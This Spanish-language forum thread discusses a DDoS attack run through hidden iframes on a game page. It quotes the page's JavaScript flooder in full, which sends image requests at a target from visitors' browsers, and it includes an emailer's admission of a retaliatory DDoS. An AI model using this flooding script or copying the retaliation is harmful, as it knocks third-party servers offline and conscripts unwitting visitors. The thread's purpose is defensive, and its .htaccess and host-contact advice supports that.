Ataques de Denegación

[WIитX]

Buenas ayer me llego un correo de un usuario alertandome de los ataques DDos hacia mi foro, les dejo el mensaje no se si es usuario de este foro o del mio, solo quiero saber si pueden ayudarme a repeler esos ataques o poder confirmar que son de la web que tal usuario dice, muchas gracias por su ayuda.

Nombre: ************
E-mail: *****************
Mensaje: Buenas chavales un saludo muy cordial, estuve el otro dia en un jueguillo de una página llamado: boombang.me/esp/play/flash En el cual en su código fuente ví varias líneas de código php que estaba atacando a su servidor, se que no me tengo que meter en ésto ni tal el ataque que le hacian a ustedes era DDOS (Denegación de servicio), simplemente yo hice el mismo ataque solo que a ellos, Lo he hecho hoy. Espero que al menos me agradezcan de estar "vivo" xD.

[#!drvy]

Efectivamente esa pagina esta llevando acabo un DDOS.

Código (aa) [Seleccionar] Expandir

view-source:http://boombang.me/esp/cliente.php

Código (html4strict) [Seleccionar] Expandir

<iframe src='ddosputo.php' height='0' width='0' style="borders: none; display: none"></iframe>

La cual tiene:

Código (html4strict) [Seleccionar] Expandir

<meta http-equiv="refresh" content="60;URL=ddosputo.php">

Código (javascript) [Seleccionar] Expandir

<script type="text/javascript">
function random() {
var count = 0;
var result = "";
var length = Math.Floor(Math.Random() * 100);
var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";

for (var i = 0; i < length; i++) {
var num = Math.Floor(Math.Random() * chars.length);
result = result + chars.substring(num, num + 1);
}

return result;
}

(function () {
var fireInterval;
var requestsHT = {};
var isFiring = true;
var targetURL = "http://boomkong.tk"
var requestedCtr = 0, succeededCtr = 0, failedCtr = 0;

var makeHttpRequest = function () {

if (requestedCtr > failedCtr + succeededCtr + 1000) {  return; };

var rID = Number(new Date()); var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); };

img.setAttribute("src", targetURL + "?id=" + rID + "&msg=robandocreditosokase-lol");
requestsHT[rID] = img;  onRequest(rID);
};

var onRequest = function (rID) { requestedCtr++; };
var onComplete = function (rID) { delete requestsHT[rID]; };
var onFail = function (rID) { succeededCtr++; delete requestsHT[rID]; };
var onSuccess = function (rID) { succeededCtr++; delete requestsHT[rID]; };

isFiring = true;
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(200) | 0));
})();
</script>

Pero no parece que estén atacando a tu foro.. o al menos no en este momento.



Defenderte de ese ataque.. no he probado pero puedes hacer que Apache niegue o redireccione a todo el que tenga de referer esa pagina (boombang.me). También puedes agregar una excepción que niegue o redireccione si la url contiene msg=robandocreditos (un mensaje gracioso que deja el atacante xD).

Al fin y al cabo lo que hacen es crear imágenes (miles xD) con ruta el sitio al que atacan.

Slaudos

[WIитX]

Como hago para denegarlo, por favor ayudame

Esto sirve: http://foro.elhacker.net/php/anti_dos_ddos_en_php-t399902.0.html    ??

[0x98364]

Parece que el ataque se esta realizando únicamente desde un servidor. Si tienes acceso a apache deniega la ip del origen de ataque con deny from y adios 

[WIитX]

Gracias por vuestras respuestas pero entro a su web y no encuentro la línea de código de @Drvy podéis decirme donde se encuentra?

[#!drvy]

Gracias por vuestras respuestas pero entro a su web y no encuentro la línea de código de @Drvy podéis decirme donde se encuentra?

Código (aa) [Seleccionar] Expandir

view-source:http://boombang.me/esp/cliente.php

Linea 76 para ser mas específicos.

Como hago para denegarlo, por favor ayudame

no he probado pero puedes hacer que Apache niegue o redireccione a todo el que tenga de referer esa pagina (boombang.me). También puedes agregar una excepción que niegue o redireccione si la url contiene msg=robandocreditos (un mensaje gracioso que deja el atacante xD).

Esto sirve: http://foro.elhacker.net/php/anti_dos_ddos_en_php-t399902.0.html    ??

Eso es una protección muy primitiva que solo sirve para hostings que no disponen de otros recursos (htaccess, firewall etc..). Vamos, en tu caso podria funcionar, pero hay métodos mas "bonitos" de hacerlo y no llegar a usar PHP (ya que esa es la ultima linea de defensa de tu host).

Como he dicho, lo que hace ese script es crear mil requests en forma de imagenes a tu server.. lo que puedes hacer es detectar el referer y en caso de que provenga de el, negarlo o redireccionarlo.

Ejemplo.

Código (apache) [Seleccionar] Expandir

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %1%{HTTP_REFERER} boombang\.me/(.*)?
RewriteRule ^.*$ http://boombang.me/%1 [R=301,L]
</IfModule>

Esto hara que si el referer viene de boombang.me/cualquiercosa lo redireccione permanentemente a su propia url ·_·.. En teoría se estaría haciendo DDOS a si mismo xD

Parece que el ataque se esta realizando únicamente desde un servidor. Si tienes acceso a apache deniega la ip del origen de ataque con deny from y adios  

El realidad el ataque proviene de los visitantes de ese servidor.. no del propio servidor. Entonces eso no serviría de nada.

Saludos

[WIитX]

Va muchísimas gracias ese código lo pongo en el Index.php ?

Busque lo que me dijiste y encontré esto no encontré lo de TargetURL:

Código [Seleccionar] Expandir

</script><style type="text/css" media="screen">#flash_boombang {visibility:hidden}</style>
<!--<iframe src='antiadb.php' height='0' width='0' style="borders: none; display: none"></iframe>-->
</head><body><iframe src="ddosputo.php" height="0" width="0" style="borders: none; display: none"></iframe>
<iframe src="http://frigost.net/foro" height="0" width="0" style="borders: none; display: none"></iframe>
<script type="text/javascript">

[ivancea96]

Siempre puedes intentar hablar con los de Boombang e infornarles. No creo q sean ellos. Quizás hayan modificado la página ajenos a Boombang.

Enviado desde mi ST21i mediante Tapatalk

[WIитX]

Siempre puedes intentar hablar con los de Boombang e infornarles. No creo q sean ellos. Quizás hayan modificado la página ajenos a Boombang.

Enviado desde mi ST21i mediante Tapatalk

No es por ser malo ni nada de eso.. pero lee el post antes de responder no es la empresa es un servidor ajeno a la empresa.

Saludos.

[#!drvy]

WINTX, si te fijas, en mi primera respuesta mencione el <iframe>, dentro de ese iframe (que lleva de src ddosputo.php), es donde esta el código que sigue después.

El código que te deje es para meterlo en un .htaccess.
http://es.wikipedia.org/wiki/.htaccess

No es por ser malo ni nada de eso.. pero lee el post antes de responder no es la empresa es un servidor ajeno a la empresa.

Lo que tendrías que hacer es hablar con la empresa que hospeda el sitio.. seguro que no les hará mucha gracia cuando se enteren de que un cliente suyo esta lanzando DDOS a punta pala... al fin y al cabo es ilegal en bastantes paises.

Saludos